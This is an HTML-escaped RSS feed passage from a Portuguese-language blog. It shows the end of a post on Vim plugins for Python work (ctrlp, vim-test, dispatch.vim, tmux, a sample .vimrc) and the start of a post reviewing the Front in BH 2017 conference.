    style=&quot;padding-bottom: 69.79166666666667%; position: relative; bottom: 0; left: 0; background-image: url(&apos;data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAOCAYAAAAvxDzwAAAACXBIWXMAABYlAAAWJQFJUiTwAAADGklEQVQ4yz1T247cRBD1DyAhnlgUkczFMx7f7bbH97vH3vHM7GTZCbusNvCW/EAe8oT4kDznDQkJpBVLUEBcdhmRlZD4n0O5J+Kh1N1V1adOna4WXn/zNb797hXe3N3ibv8O+3f32P99j7e//obrmze4+fkX/HD9E76//pHshs5veezPuz3+uL3j6+1fe/xO+/t//oVQOAxlW+N42cKdzxHGMWzH4ea4LgzThGlZsGybm2YYsBgDo/jc87ivz5MVBU8uvoBgqypM5sLzfXhBCJeS5p5PwAnSLINOgA4vlIDRRZs5CKIIfhDw4n4YHvxErF0/hhCYOjSbvWfAYBCbHsR8z0ZWVF6MuQfWumnxvEMO4/s+1zANVMcnB4YGVTUo0Z17BHgAUnWTW39WNJMuqmQKXFejFlX4voEwNOB5Gq0WHGeGpusguBoxiGLkeY4oSYhNwFuMIoa6DhDF1C7tg8BCnDiIY5tybKiaBt3QqahGBVVMpAkW3aZnqMEm3XphnbnLwTTDJC0ZMbZ4K8yx6GF00o/0dBkkWeYdSbKCGUmiU/7DwRCrE9JQlBSuDdfDOQD25/FEwnA8wUic0CpiMBL/Pw+GY4jTKUZjkcfEyRSfPHiAdkUapscreGUNN00xj0j8NIfqhVDmPq0BFDI9jKH6IYwogcz9FCfrfX3MJL8WRFifX0EIswLnV1d4fLrB1VmN090p6uMGWV0hqWqUTYWiTFA1JapuhXLZYbnuuN9PMwwlGQPq5mgooklCCFNZR1mV9AAl2kWBIotQVzmKIudzuGgalHmCtm3QEHCdhZS7QF2mqPKUj9XHR0f44MOP0OURBMVkSIil5UQI4pKDpwH9njRAVpQoEh8VgfSgeRIgTWMCr3ksTRNkNB39sA+mM5T0eILlBHj+7HO8fLHFV18u0a02NPErbHc7rE8/w2a7xu58h/PLC+wuL9F2S2w3HbYnKzw5WeBit8Fud4YzsjBMITwcS2iXKZ4+reiFFXw6kiAZDDPLxcz28EjSMDXor9JeZR4ky4NsOng0nnIbSSrGMx1DcYqxwvAfL+3tcGrQvNMAAAAASUVORK5CYII=&apos;); background-size: cover; display: block;&quot;
  &gt;&lt;/span&gt;
  &lt;img
        class=&quot;gatsby-resp-image-image&quot;
        alt=&quot;&amp;quot;Exemplo de uso do ctrlp.vim&amp;quot;&quot;
        title=&quot;Exemplo de uso do ctrlp.vim&quot;
        src=&quot;/static/e2b72ff750b60ccd7d7cbaae52dd76a4/6af66/vim-ctrlp.png&quot;
        srcset=&quot;/static/e2b72ff750b60ccd7d7cbaae52dd76a4/8514f/vim-ctrlp.png 192w,
/static/e2b72ff750b60ccd7d7cbaae52dd76a4/804b2/vim-ctrlp.png 384w,
/static/e2b72ff750b60ccd7d7cbaae52dd76a4/6af66/vim-ctrlp.png 640w&quot;
        sizes=&quot;(max-width: 640px) 100vw, 640px&quot;
        style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;&quot;
        loading=&quot;lazy&quot;
      /&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;Exemplo de uso do ctrlp.vim&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;A instalação através do &lt;em&gt;vim-plug&lt;/em&gt; é simples, como sempre:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;vim&quot;&gt;&lt;pre class=&quot;language-vim&quot;&gt;&lt;code class=&quot;language-vim&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;&quot; ~/.vimrc&lt;/span&gt;

&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;

Plug &lt;span class=&quot;token string&quot;&gt;&apos;ctrlpvim/ctrlp.vim&apos;&lt;/span&gt;
Plug &lt;span class=&quot;token string&quot;&gt;&apos;scrooloose/nerdtree&apos;&lt;/span&gt; | Plug &lt;span class=&quot;token string&quot;&gt;&apos;Xuyuanp/nerdtree-git-plugin&apos;&lt;/span&gt;

&lt;span class=&quot;token keyword&quot;&gt;call&lt;/span&gt; plug#&lt;span class=&quot;token function&quot;&gt;end&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;

&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;&lt;strong&gt;Bônus:&lt;/strong&gt; O &lt;a href=&quot;https://github.com/mileszs/ack.vim&quot; title=&quot;Vim plugin for the Perl module / CLI script &amp;#x27;ack&amp;#x27;&quot;&gt;&lt;em&gt;ack.vim&lt;/em&gt;&lt;/a&gt;
é um excelente &lt;em&gt;plugin&lt;/em&gt; para buscas por conteúdo.&lt;/p&gt;
&lt;h2&gt;Executar testes: vim-test&lt;/h2&gt;
&lt;p&gt;O &lt;a href=&quot;https://github.com/janko-m/vim-test&quot; title=&quot;Run your tests at the speed of thought&quot;&gt;&lt;em&gt;vim-test&lt;/em&gt;&lt;/a&gt; é um
dos meus &lt;em&gt;plugins&lt;/em&gt; favoritos! Ele é um &lt;em&gt;wrapper&lt;/em&gt; que executa testes de diferentes granularidades, ou seja,
executa o teste de um arquivo apenas, da suíte inteira, do mais próximo, do último testado, etc.&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;vim&quot;&gt;&lt;pre class=&quot;language-vim&quot;&gt;&lt;code class=&quot;language-vim&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;&quot; ~/.vimrc&lt;/span&gt;

&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;

Plug &lt;span class=&quot;token string&quot;&gt;&apos;janko-m/vim-test&apos;&lt;/span&gt;

&lt;span class=&quot;token keyword&quot;&gt;call&lt;/span&gt; plug#&lt;span class=&quot;token function&quot;&gt;end&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;

&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;

&lt;span class=&quot;token keyword&quot;&gt;let&lt;/span&gt; test#&lt;span class=&quot;token keyword&quot;&gt;python&lt;/span&gt;#runner &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&apos;pytest&apos;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;No exemplo acima, o &lt;em&gt;runner&lt;/em&gt; configurado foi o &lt;a href=&quot;https://docs.pytest.org/en/latest/&quot; title=&quot;pytest: helps you write better programs¶&quot;&gt;&lt;em&gt;pytest&lt;/em&gt;&lt;/a&gt;,
mas dentro do ecossistema &lt;em&gt;Python&lt;/em&gt; ele suporta os seguintes &lt;em&gt;frameworks&lt;/em&gt; de testes: &lt;code class=&quot;language-text&quot;&gt;PyTest&lt;/code&gt;, &lt;code class=&quot;language-text&quot;&gt;Django&lt;/code&gt;, &lt;code class=&quot;language-text&quot;&gt;Nose&lt;/code&gt;, &lt;code class=&quot;language-text&quot;&gt;Nose2&lt;/code&gt;, e &lt;code class=&quot;language-text&quot;&gt;PyUnit&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;É possível evocar o &lt;em&gt;plugin&lt;/em&gt; para os diferentes níveis de testes através dos comandos &lt;code class=&quot;language-text&quot;&gt;:TestNearest&lt;/code&gt;, &lt;code class=&quot;language-text&quot;&gt;:TestFile&lt;/code&gt;, &lt;code class=&quot;language-text&quot;&gt;:TestSuite&lt;/code&gt;, &lt;code class=&quot;language-text&quot;&gt;:TestLast&lt;/code&gt;
e &lt;code class=&quot;language-text&quot;&gt;:TestVisit&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Bônus:&lt;/strong&gt; Utilizando o &lt;a href=&quot;https://github.com/tpope/vim-dispatch&quot; title=&quot;dispatch.vim: asynchronous build and test dispatcher&quot;&gt;&lt;em&gt;dispatch.vim&lt;/em&gt;&lt;/a&gt;
como &lt;em&gt;strategy&lt;/em&gt; no &lt;em&gt;vim-test&lt;/em&gt;, será possível executar os testes assincronamente.&lt;/p&gt;
&lt;h2&gt;Executar comandos: dispatch.vim&lt;/h2&gt;
&lt;p&gt;Com o &lt;a href=&quot;https://github.com/tpope/vim-dispatch&quot; title=&quot;asynchronous build and test dispatcher&quot;&gt;&lt;em&gt;dispatch.vim&lt;/em&gt;&lt;/a&gt;,
do &lt;a href=&quot;https://github.com/tpope&quot; title=&quot;Perfil no Github&quot;&gt;&lt;em&gt;Tim Pope&lt;/em&gt;&lt;/a&gt;, é possível executar comandos (como por exemplo,
&lt;em&gt;build&lt;/em&gt; ou testes) de forma assíncrona. O &lt;em&gt;plugin&lt;/em&gt; se responsabiliza por escolher a melhor plataforma
(&lt;em&gt;tmux&lt;/em&gt;, tela, &lt;em&gt;iTerm&lt;/em&gt;, &lt;em&gt;headless&lt;/em&gt;, etc) de acordo com o ambiente no qual o &lt;em&gt;Vim&lt;/em&gt; está rodando.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;gatsby-resp-image-figure&quot; style=&quot;&quot;&gt;
    &lt;span
      class=&quot;gatsby-resp-image-wrapper&quot;
      style=&quot;position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 640px; &quot;
    &gt;
      &lt;a
    class=&quot;gatsby-resp-image-link&quot;
    href=&quot;/static/60f4679feb34414611d3df13a39a814a/6af66/vim-dispatch.png&quot;
    style=&quot;display: block&quot;
    target=&quot;_blank&quot;
    rel=&quot;noopener&quot;
  &gt;
    &lt;span
    class=&quot;gatsby-resp-image-background-image&quot;
    style=&quot;padding-bottom: 102.60416666666667%; position: relative; bottom: 0; left: 0; background-image: url(&apos;data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAVCAYAAABG1c6oAAAACXBIWXMAABYlAAAWJQFJUiTwAAAEaElEQVQ4y5VUaU9cVRi+P0CTSpmFMnPnzl3n3jtz7yx39hUpS1galLYa1DYuRBtSNRob/dJSlqpYWj+oEawgpZLYoAWUUlowQo2Jhpj4ix7fc6Y0+k0/PHmX857nvMs5R9h/uI69Pw/w+8Ff2PvtD+zu/Yrt3X1s//wQdx/8gjub97F+dwerG/dwe20T329sYXV9C2vMv7WDe7sUt7OPzQd7+GnvAEIiEYOXyyHjeUimknCTSaQzLjIEx7Wg6zJiMQ2qKkFRI5CiImSlKRXyqWqUYhSI4Tacf/d9CLabRKVaQyqTJiIPhVIZ2VwKpXIWtXoR+UJTLxTTKJcspFIx5PMWRzZnwvNM5Eh3nCjOv/MeBNVkQWnYCRcJIo87Lqy4C9N2yE5z3Yo7dGCOMlMRT2hUhU4ZUsaajISjIRKNIiS24cIHlKGoGZS2ApVKYwEqQTOUJvSmZH6mq1q0WSbJZnyU62wtTCWfe/NtCI6XQ7GYQ7nsoVzJUhkuqtUcSqU0iiUP1VqOys2QTqCy8wWvaZNereZpPU8ty8N1Y3ju7OsQJMrwWEgkSJR2FMF2Ee2iRHaE+9uYHY5wMPtQHnvkC4kRhCUZvkAQA8NnaCg05WRSpanqsGyZmqzDjivUKx2pNDU9m6Bpx6hXBvXO5P6MZ1GMQSXrCEckIhbR6vPh1IujEFhJjUYefX0NVCo5HO8qoqe3k2Qnunu60Nffi8ET/eh4uo6BwT50dXeif6AX5WoZabpqqq4jRIQ+vx9nXqGStViCnBbcVIZPOGbFaaIenGSKJh2Hadk0GBuqEeewnQxlpcIXDOPI0SBaAiH4wzKeOBrAyKtjELq7U3SHNOqFBFGiq2DEoNFVEqUoZFWFJCsoFEx0NGw06gwWalULdUJXVxKd2Sgahh9V+UmMvXEOwstnGzgxWEOxUket0YFGdy+ypQpkGlbcSfIMB3sdnD5VwNCQh5PDebwwUsPI8xW8NnocL/VYGHYDeNY+gtGTpyEsfvMtPvt8DotLt7C0vIKbt1Ywf2OBsIgv529gjrAw9zW+WljBF/PLWFj6Dms/3scPG9tYvbOF2+vbWFnbwvLGLm5eeAvCtWuzuHx5HBMTE5iamsTs7FXMzHzM7enpKUxOTuL6p9fx0YdXMHv1E8IMxi9dpD2XKIb2MTl+EVemJzH2zBAE0zTR3t6OUCjEpSiKiEQiBInLYDBIryAMP02R6SyGgemtra3cz2RLy1NoUzMQ6rU6f8vZbJaeoArbtmFZNHXX5ZLZjuMgSe/cNJv+dDrN/Zqm8UN1ujqKLCOaKEPIellOls/nEaUHL7MFeuyxWIzrhmFwKIrCwfyMgJExP4tliViWiYBqQ8jRX5hK0RdVKoKVf0ho0PVhBGwzz+AR4eEBjOTQH6Y26XTAUcWAkKQPVdcNfvJhJoyQgZPQT8QOkeiOMh+TjIiV6qPnxnroDwSavaR1we/z8wXW2McB/xEBInoMsn0yEQb8gX8v/A/8k5Trsoi/Afd/xZ7cl1o+AAAAAElFTkSuQmCC&apos;); background-size: cover; display: block;&quot;
  &gt;&lt;/span&gt;
  &lt;img
        class=&quot;gatsby-resp-image-image&quot;
        alt=&quot;&amp;quot;Exemplo de utilização do vim-dispatch&amp;quot;&quot;
        title=&quot;Exemplo de utilização do vim-dispatch&quot;
        src=&quot;/static/60f4679feb34414611d3df13a39a814a/6af66/vim-dispatch.png&quot;
        srcset=&quot;/static/60f4679feb34414611d3df13a39a814a/8514f/vim-dispatch.png 192w,
/static/60f4679feb34414611d3df13a39a814a/804b2/vim-dispatch.png 384w,
/static/60f4679feb34414611d3df13a39a814a/6af66/vim-dispatch.png 640w&quot;
        sizes=&quot;(max-width: 640px) 100vw, 640px&quot;
        style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;&quot;
        loading=&quot;lazy&quot;
      /&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;Exemplo de utilização do vim-dispatch&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;O &lt;em&gt;plugin&lt;/em&gt; (até o momento) não utiliza a estratégia de &lt;em&gt;jobs&lt;/em&gt; do &lt;em&gt;Vim 8&lt;/em&gt;. Mas &lt;a href=&quot;https://github.com/tpope/vim-dispatch/pull/193&quot; title=&quot;Add initial vim jobs strategy&quot;&gt;discussões sobre o assunto&lt;/a&gt;
tem ocorrido, e é possível que uma solução seja incorporada em breve. Se utilizar o &lt;em&gt;async&lt;/em&gt; do &lt;em&gt;Vim&lt;/em&gt; é um desejo,
o &lt;a href=&quot;https://github.com/skywind3000/asyncrun.vim&quot; title=&quot;Run Async Shell Commands in Vim 8.0 / NeoVim and Output to Quickfix Window&quot;&gt;&lt;em&gt;asyncrun.vim&lt;/em&gt;&lt;/a&gt;
pode ser uma melhor opção.&lt;/p&gt;
&lt;h3&gt;Bônus: tmux&lt;/h3&gt;
&lt;p&gt;Com o &lt;a href=&quot;https://github.com/tmux/tmux/wiki&quot; title=&quot;tmux is a terminal multiplexer&quot;&gt;&lt;em&gt;tmux&lt;/em&gt;&lt;/a&gt;, tanto o &lt;em&gt;vim-test&lt;/em&gt; quanto o &lt;em&gt;dispatch.vim&lt;/em&gt;
ficam ainda mais interessantes:&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;gatsby-resp-image-figure&quot; style=&quot;&quot;&gt;
    &lt;span
      class=&quot;gatsby-resp-image-wrapper&quot;
      style=&quot;position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 640px; &quot;
    &gt;
      &lt;a
    class=&quot;gatsby-resp-image-link&quot;
    href=&quot;/static/5e4829d45afbcfd4ed3f60ed53d311af/6af66/vim-dispatch-tmux.png&quot;
    style=&quot;display: block&quot;
    target=&quot;_blank&quot;
    rel=&quot;noopener&quot;
  &gt;
    &lt;span
    class=&quot;gatsby-resp-image-background-image&quot;
    style=&quot;padding-bottom: 80.72916666666666%; position: relative; bottom: 0; left: 0; background-image: url(&apos;data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAQCAYAAAAWGF8bAAAACXBIWXMAABYlAAAWJQFJUiTwAAADhUlEQVQ4y1VT224bVRSdL0CIqEnj23ju97s9M7ZjJ06cJoikCSoJpKWhrUVpJJDK5QUJJOw4IVR5Jf0P3nhDPPOGEALakDQ4LfzEYp9jqYiHpXX23nP22Zc1wg/ffY+ffvkRP5+e4vzZJc7HLzB+/jfGL/7B6fkFfv39CcdvT55yfnr2DBfj5zj/6xJnF5cv+c+LMf44G0MYfPIpHh0fYDgc4OjoCMODRzg+Psbjxyf4htmDAb4+PMQhYX84xGg0ovPB/8Dio9E+vj05gRCoKjrdRdRrNTiOgygK4fs+4jjmdrFY5CiVyy9RKBQm/lKJc5l8U1NTmF/oQmjaOuJ6HTVKWCfOsgytVovbeZ5zX1pP6aEYuq7Dtm3ODKZpcrYsC2KlgmZ7AcKco0E1TFgUZAEGlapm1U1gw3VdflHTJolUVYeiatANltDgtkp22uhAqBsqLMeF73nwCKwChiAIyPZhU1LXpcS2SWxzroWEyELgGUgCC6FnIvJ05M02hNzU4VM7rL0kSRDR7BqNnFpO0GywlhNqOcFCO0UrC9Bu0nkuwVzuo5n6aOcults+8lDCUm8Rgi1KVIWLyHcREhxLpwosZLGNZt0lNtGsOUh8A7GrYi710Mxi+C5V5jtopBH/fnPtGjY3NyH0llrYvrmF1bc/wPqtPby5+xHH2s09vLHzAKvb93Fj9wHWd/q4fut9rL1zF1tvreDO7ddxv7+B/p114uv47OEO9j7sk2zigLZDrXW6yOa7yLtLaC314Kc5LBqFk9SJE0IGM8yhe3U4nk0j8ZAwJB7SNEQY2Vi51oPgU7nzbRq8rcF1LBQLMyjMTqNcmoUiiySHIqoiaa5wFZJYhiyJKJXKpL0KqlUZoljF9PQMXnn1NTQCF8JiL8ONjTrpzKcFpHyzbDGmSTOKIq41tnUmIRZjojcMg9jjZ89zueQq1SoW8wRCo51hdbmGOArogwBhGPC/hF3SNBWSJEGWZW6rqsJtBqZHRVG4ZjVNg0i+1DYgxDUXK8skjTShZBEXMkvIXrbprCgyv2SYxkTU9AhLZJKt6RqHbuj0oAZZNWkpvopuh/5das91qB3dIkmE8Ai6ZqFSlqDKOqSqyiFWaG7kq4oK9yuE6SuzuDI1g6uFKoTORgW3P5ex/bGErYcS3vtSxb2hhnuDCe5+paI/1CfYNya+wX9xht0vZIpV0XvXxr8UFjZpyvN2EQAAAABJRU5ErkJggg==&apos;); background-size: cover; display: block;&quot;
  &gt;&lt;/span&gt;
  &lt;img
        class=&quot;gatsby-resp-image-image&quot;
        alt=&quot;&amp;quot;Exemplo de utilização do vim-dispatch com tmux&amp;quot;&quot;
        title=&quot;Exemplo de utilização do vim-dispatch com tmux&quot;
        src=&quot;/static/5e4829d45afbcfd4ed3f60ed53d311af/6af66/vim-dispatch-tmux.png&quot;
        srcset=&quot;/static/5e4829d45afbcfd4ed3f60ed53d311af/8514f/vim-dispatch-tmux.png 192w,
/static/5e4829d45afbcfd4ed3f60ed53d311af/804b2/vim-dispatch-tmux.png 384w,
/static/5e4829d45afbcfd4ed3f60ed53d311af/6af66/vim-dispatch-tmux.png 640w&quot;
        sizes=&quot;(max-width: 640px) 100vw, 640px&quot;
        style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;&quot;
        loading=&quot;lazy&quot;
      /&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;Exemplo de utilização do vim-dispatch com tmux&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;Interessado no &lt;em&gt;tmux&lt;/em&gt;? O &lt;em&gt;bugsnag&lt;/em&gt; possui um bom &lt;a href=&quot;https://blog.bugsnag.com/tmux-and-vim/&quot; title=&quot;Tmux and Vim - even better together&quot;&gt;artigo sobre &lt;em&gt;tmux&lt;/em&gt; + &lt;em&gt;Vim&lt;/em&gt;&lt;/a&gt;.&lt;/p&gt;
&lt;h2&gt;Considerações finais&lt;/h2&gt;
&lt;p&gt;O &lt;code class=&quot;language-text&quot;&gt;.vimrc&lt;/code&gt; abaixo é o resultado de todos os &lt;em&gt;plugins&lt;/em&gt; apresentados nesse artigo:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;vim&quot;&gt;&lt;pre class=&quot;language-vim&quot;&gt;&lt;code class=&quot;language-vim&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;&quot; ~/.vimrc&lt;/span&gt;

&lt;span class=&quot;token keyword&quot;&gt;call&lt;/span&gt; plug#&lt;span class=&quot;token function&quot;&gt;begin&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&apos;~/.vim/plugged&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;

&lt;span class=&quot;token comment&quot;&gt;&quot; Lista de plugins&lt;/span&gt;
Plug &lt;span class=&quot;token string&quot;&gt;&apos;sheerun/vim-polyglot&apos;&lt;/span&gt;
Plug &lt;span class=&quot;token string&quot;&gt;&apos;w0rp/ale&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&apos;do&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&apos;pip install flake8 isort yapf&apos;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;
Plug &lt;span class=&quot;token string&quot;&gt;&apos;maralla/completor.vim&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&apos;do&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&apos;pip install jedi&apos;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;
Plug &lt;span class=&quot;token string&quot;&gt;&apos;davidhalter/jedi-vim&apos;&lt;/span&gt;
Plug &lt;span class=&quot;token string&quot;&gt;&apos;ctrlpvim/ctrlp.vim&apos;&lt;/span&gt;
Plug &lt;span class=&quot;token string&quot;&gt;&apos;scrooloose/nerdtree&apos;&lt;/span&gt; | Plug &lt;span class=&quot;token string&quot;&gt;&apos;Xuyuanp/nerdtree-git-plugin&apos;&lt;/span&gt;
Plug &lt;span class=&quot;token string&quot;&gt;&apos;janko-m/vim-test&apos;&lt;/span&gt;
Plug &lt;span class=&quot;token string&quot;&gt;&apos;tpope/vim-dispatch&apos;&lt;/span&gt;

&lt;span class=&quot;token keyword&quot;&gt;call&lt;/span&gt; plug#&lt;span class=&quot;token function&quot;&gt;end&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;

&lt;span class=&quot;token comment&quot;&gt;&quot; Ale&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;let&lt;/span&gt; g&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;ale_fix_on_save &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;1&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;let&lt;/span&gt; g&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;ale_fixers &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
\   &lt;span class=&quot;token string&quot;&gt;&apos;python&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;
\       &lt;span class=&quot;token string&quot;&gt;&apos;isort&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
\       &lt;span class=&quot;token string&quot;&gt;&apos;yapf&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
\       &lt;span class=&quot;token string&quot;&gt;&apos;remove_trailing_lines&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
\       &lt;span class=&quot;token string&quot;&gt;&apos;trim_whitespace&apos;&lt;/span&gt;
\   &lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;
\&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;

&lt;span class=&quot;token comment&quot;&gt;&quot; Jedi&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;let&lt;/span&gt; g&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;jedi#completions_enabled &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;0&lt;/span&gt;

&lt;span class=&quot;token comment&quot;&gt;&quot; vim-test&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;let&lt;/span&gt; test#&lt;span class=&quot;token keyword&quot;&gt;python&lt;/span&gt;#runner &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&apos;pytest&apos;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Embora haja uma vertente que defende o uso mínimo (ou nulo) de &lt;em&gt;plugins&lt;/em&gt; no &lt;em&gt;Vim&lt;/em&gt;, para mim eles são um dos pontos altos do editor
e sem dúvida são os responsáveis por me ajudar a manter uma boa produtividade. Se você, assim como eu, não tem a mínima pretensão de
ser um &quot;vim-master&quot;, use sem medo. Tenho certeza que eles te ajudarão a lidar com os problemas do dia a dia.&lt;/p&gt;
&lt;p&gt;Até a próxima.&lt;/p&gt;
&lt;h2&gt;Referências&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://justin.abrah.ms/vim/vim_and_python.html&quot;&gt;&lt;em&gt;Justin Abrahms - Vim &amp;#x26; Python: Making yourself at home&lt;/em&gt;&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://liuchengxu.org/posts/use-vim-as-a-python-ide/&quot;&gt;&lt;em&gt;Liu-Cheng Xu - Use Vim as a Python IDE&lt;/em&gt;&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://realpython.com/blog/python/vim-and-python-a-match-made-in-heaven/&quot;&gt;&lt;em&gt;Real Python - VIM and Python: a Match Made in Heaven&lt;/em&gt;&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://shapeshed.com/vim-packages/&quot;&gt;&lt;em&gt;Shapeshed - Vim: So long Pathogen, hello native package loading&lt;/em&gt;&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</content:encoded></item><item><title><![CDATA[Opinião: Front in BH 2017]]></title><description><![CDATA[E mais uma vez tive
a oportunidade de acompanhar o trabalho do
@davidsonfellipe,
@keppelen e de tantos
outros colaboradores, na realização…]]></description><link>https://klauslaube.com.br/2017/09/26/opiniao-front-in-bh-2017.html</link><guid isPermaLink="false">https://klauslaube.com.br/2017/09/26/opiniao-front-in-bh-2017.html</guid><pubDate>Tue, 26 Sep 2017 15:15:00 GMT</pubDate><content:encoded>&lt;p&gt;E &lt;a href=&quot;/2013/08/05/opiniao-front-bh-2013.html&quot; title=&quot;Opinião sobre a edição de 2013&quot;&gt;mais uma vez&lt;/a&gt; tive
a oportunidade de acompanhar o trabalho do
&lt;a href=&quot;https://twitter.com/davidsonfellipe&quot; title=&quot;Perfil do Careca no Twitter&quot;&gt;&lt;em&gt;@davidsonfellipe&lt;/em&gt;&lt;/a&gt;,
&lt;a href=&quot;https://twitter.com/keppelen&quot; title=&quot;Perfil do Giovanni no Twitter&quot;&gt;&lt;em&gt;@keppelen&lt;/em&gt;&lt;/a&gt; e de tantos
outros colaboradores, na realização do &lt;a href=&quot;https://www.frontinbh.com.br/&quot; title=&quot;Front in BH&quot;&gt;&lt;em&gt;Front in BH 2k17&lt;/em&gt;&lt;/a&gt;.
